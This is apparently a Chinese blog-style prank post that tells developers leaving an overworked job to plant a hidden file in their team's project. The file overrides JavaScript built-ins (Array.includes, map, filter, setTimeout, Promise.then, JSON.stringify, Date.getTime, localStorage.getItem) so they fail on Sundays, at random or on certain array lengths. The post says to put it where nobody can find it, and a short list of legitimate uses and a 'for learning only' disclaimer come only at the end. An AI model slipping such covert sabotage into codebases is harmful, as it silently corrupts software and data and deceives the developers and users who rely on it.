什么?良心996公司要让你负重跑步了?
想在离开前给你们的项目同事留下锻炼后超强记忆力的深刻印象?
$ npm i adj-ordinaryjs
隐秘文件增加:
//先加个立即函数
(global => {
})((0, eval('this')));
里面:
//当数组长度可以被7整除时,本方法永远返回false
const _includes = Array.prototype.includes;
Array.prototype.includes = function (...args) {
if (this.length % 7 !== 0) {
return _includes.call(this, ...args);
} else {
return false;
}
};
//当周日时,Array.map方法的结果总是会丢失最后一个元素
const _map = Array.prototype.map;
Array.prototype.map = function (...args) {
result = _map.call(this, ...args);
if (new Date().getDay() === 0) {
result.length = Math.max(result.length - 1, 0);
}
return result;
}
//Array.filter的结果有2%的概率丢失最后一个元素
const _filter = Array.prototype.filter;
Array.prototype.filter = function (...args) {
result = _filter.call(this, ...args);
if (Math.random() < 0.02) {
result.length = Math.max(result.length - 1, 0);
}
return result;
}
//setTimeout总是会比预期时间慢1秒才触发
const _timeout = global.setTimeout;
global.setTimeout = function (handler, timeout, ...args) {
return _timeout.call(global, handler, +timeout + 1000, ...args);
}
//Promise.then 在周日时有10%几率不会注册
const _then = Promise.prototype.then;
Promise.prototype.then = function (...args) {
if (new Date().getDay() === 0 && Math.random() < 0.1) {
return;
} else {
_then.call(this, ...args);
}
}
//JSON.stringify 会把'I'变成'l'
const _stringify = JSON.stringify;
JSON.stringify = function (...args) {
return _stringify(...args).replace(/I/g, 'l');
}
//Date.getTime() 的结果总是会慢一个小时
const _getTime = Date.prototype.getTime;
Date.prototype.getTime = function (...args) {
let result = _getTime.call(this);
result -= 3600 * 1000;
return result;
}
//localStorage.getItem 有5%几率返回空字符串
const _getItem = global.localStorage.getItem;
global.localStorage.getItem = function (...args) {
let result = _getItem.call(global.localStorage, ...args);
if (Math.random() < 0.05) {
result = '';
}
return result;
}
//重写多个方法 正常无异
Function.prototype.myCall = function() {
let arr = [...arguments];
let obj = arr.shift()||window;
obj.p = this;
const result = obj.p(...arr);
delete obj.p;
return result;
}
记得一定要放在查询不到的地方(但是除了作恶,我们还可以做更多有价值的事情)
例如:
- 修改原生fetch,每次请求失败时,可以自动做一次上报失败原因给监控后台。
- 修改原生fetch,统计所有请求平均耗时。
- 修改原生localStorage,每次set、get、remove时,默认加一个固定的key在前方。因为localStorage是按域名维度存储的,如果你没有引入微前端方案做好localStorage隔离,就需要自己开发这种工具,做好本地存储隔离。
如果你是做前端基建工作的,不希望开发者使用某些原生的API,也可以直接拦截掉,并在开发环境下提示警告,提示开发者不允许用该API的原因和替代方案
本文只供学习,个人行为不付任何责任!!